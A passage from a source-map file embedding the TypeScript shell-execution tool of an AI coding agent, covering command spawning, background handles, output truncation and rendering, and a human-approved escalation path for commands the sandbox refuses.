{});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\tif (!status.running && looksLikeSandboxRefusal(snapshot.content)) {\n\t\t\ttext += `\\n\\n[Sandbox refusal: background runs are not offered escalation. Rerun this command in the foreground to get the escalation offer.]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tif (\"handle\" in input) {\n\t\t\t\treturn await executeHandleCall(input);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = input;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\t// The OS boundary refuses a write in the kernel, so by the time this runs\n\t\t\t\t\t// the syscall has already failed and nothing inside this namespace can\n\t\t\t\t\t// widen it. Offering the command to the supervisor is the only remaining\n\t\t\t\t\t// move, and it is the supervisor that shows the human the exact command\n\t\t\t\t\t// and root before anything runs -- so a wrong guess at the path is\n\t\t\t\t\t// refused by someone reading it, never granted quietly.\n\t\t\t\t\tconst escalated = await escalateRefusedCommand(command, outputText);\n\t\t\t\t\tif (escalated) {\n\t\t\t\t\t\t// The reported exit code has to be the escalated run's, not the\n\t\t\t\t\t\t// refused one's. Leaving the original would have the details say the\n\t\t\t\t\t\t// command failed while the content says it succeeded, and anything\n\t\t\t\t\t\t// reading the facts rather than the text would disagree with the\n\t\t\t\t\t\t// model about what happened.\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\tcontent: [{ type: \"text\", text: escalated.text }],\n\t\t\t\t\t\t\tdetails: { ...resultDetails, execution: { ...execution, exitCode: 0 } },\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n\n/**\n * Offer a command the sandbox refused to the supervisor, once.\n *\n * Returns the escalated output when a human approved it and it ran, and undefined for\n * every other outcome -- no channel, no recognisable refusal, no path in the message, a\n * refused prompt -- because the caller's behaviour is the same in all of them: report\n * what originally happened.\n */\nasync function escalateRefusedCommand(command: string, output: string): Promise<{ text: string } | undefined> {\n\tif (!looksLikeSandboxRefusal(output)) return undefined;\n\tconst refusedPath = extractRefusedPath(output);\n\tif (!refusedPath) return undefined;\n\tconst outcome = await requestCommandEscalation({ command, writableRoot: escalationRootFor(refusedPath) });\n\tif (!outcome || outcome.code !== 0) return undefined;\n\tconst combined = [outcome.stdout, outcome.stderr]\n\t\t.filter((part) => part.length > 0)\n\t\t.join(\"\\n\")\n\t\t.trim();\n\t// A silent success still has to say something, or the model reads an empty result as\n\t// the command having had no effect.\n\treturn { text: combined.length > 0 ? combined : \"Command ran with approved escalated access.\" };\n}\n"]}
1
+ {"version":3,"file":"bash.d.ts","sourceRoot":"","sources":["../../../src/core/tools/bash.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,KAAK,SAAS,EAA4C,MAAM,sBAAsB,CAAC;AAEhG,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAK5C,OAAO,EAIN,KAAK,WAAW,EAGhB,MAAM,sBAAsB,CAAC;AAI9B,OAAO,EAAE,KAAK,uBAAuB,EAAiC,MAAM,uBAAuB,CAAC;AAEpG,OAAO,EAAE,KAAK,kBAAkB,EAAE,KAAK,cAAc,EAAa,MAAM,eAAe,CAAC;AAIxF,OAAO,EAAoD,KAAK,gBAAgB,EAAE,MAAM,eAAe,CAAC;AAkCxG,QAAA,MAAM,UAAU;;;;;;;;;IAWf,CAAC;AAEF,eAAO,MAAM,gCAAgC;;;CAGnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAkDtD,wBAAgB,wBAAwB,IAAI,cAAc,CAAC,OAAO,UAAU,CAAC,CAkD5E;AAED,MAAM,WAAW,kBAAkB;IAClC,GAAG,EAAE,MAAM,CAAC;IACZ,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC;IAChB,QAAQ,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAED,MAAM,WAAW,eAAe;IAC/B,UAAU,CAAC,EAAE,gBAAgB,CAAC;IAC9B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,iFAAiF;IACjF,SAAS,CAAC,EAAE,kBAAkB,CAAC;CAC/B;AAED;;;GAGG;AACH,MAAM,WAAW,cAAc;IAC9B;;;;;;OAMG;IACH,IAAI,EAAE,CACL,OAAO,EAAE,MAAM,EACf,GAAG,EAAE,MAAM,EACX,OAAO,EAAE;QACR,MAAM,EAAE